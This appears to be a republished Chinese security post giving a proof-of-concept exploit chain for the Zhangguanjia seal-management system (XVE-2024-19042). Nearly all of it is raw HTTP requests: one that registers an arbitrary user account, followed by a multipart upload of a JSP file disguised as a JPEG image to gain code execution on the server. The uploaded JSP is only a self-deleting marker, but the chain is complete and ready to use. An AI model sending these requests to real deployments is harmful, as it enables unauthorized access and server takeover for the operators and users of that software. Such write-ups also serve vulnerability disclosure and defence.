漏洞简介
章管家是上海建业信息科技股份有限公司推出的一款针对传统印章风险管理提供的整套解决方案的工具。攻击者可通过任意用户注册配合后台文件上传漏洞利用获取服务器权限。
漏洞POC
用户注册POC如下:
POST /api/personSeal_jdy/saveUser.htm HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 211
{"op":{},"data":{"mobile":"13333333333","uid":"13333333333","password":"123456","name":"testuser","return_url":"https://www.baidu.com","apisecretkey":"1","_id":"1","mail_address":"[email protected]"},"b7o4ntosbfp":"="}
注册成功后13333333333/123456登录获取cookie文件上传。
POST /seal/sealApply/uploadFileByChunks.htm?token=dingtalk_token&person_id=40288053800311e80180261b92ab005e&chunk=1&chunks=1&guid=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0)
Gecko/20100101 Firefox/128.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: sid=58139d92-115f-4e9b-99a1-ee200a8b17a0;
ZHANGIN_CHECKBOX=false; ZHANGIN_MOBILE=;JSESSIONID=30A3F3F324080E3B327FEB2EB82E2CB0
Content-Type: multipart/form-data; boundary=--------952870761
Content-Length: 140
----------952870761
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/jpeg
<%@ page import= "java.io.File" %>
<%
out.println("111");
String filePath = application.getRealPath(request.getServletPath());
out.println(filePath);
new File(filePath).delete();
%>
----------952870761--
参考链接:https://github.com/wy876/POC/blob/main/%E7%AB%A0%E7%AE%A1%E5%AE%B6%E5%89%8D%E5%8F%B0%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E(XVE-2024-19042).md
原文始发于微信公众号(良月安全):[漏洞复现]章管家前台任意文件上传漏洞(XVE-2024-19042)
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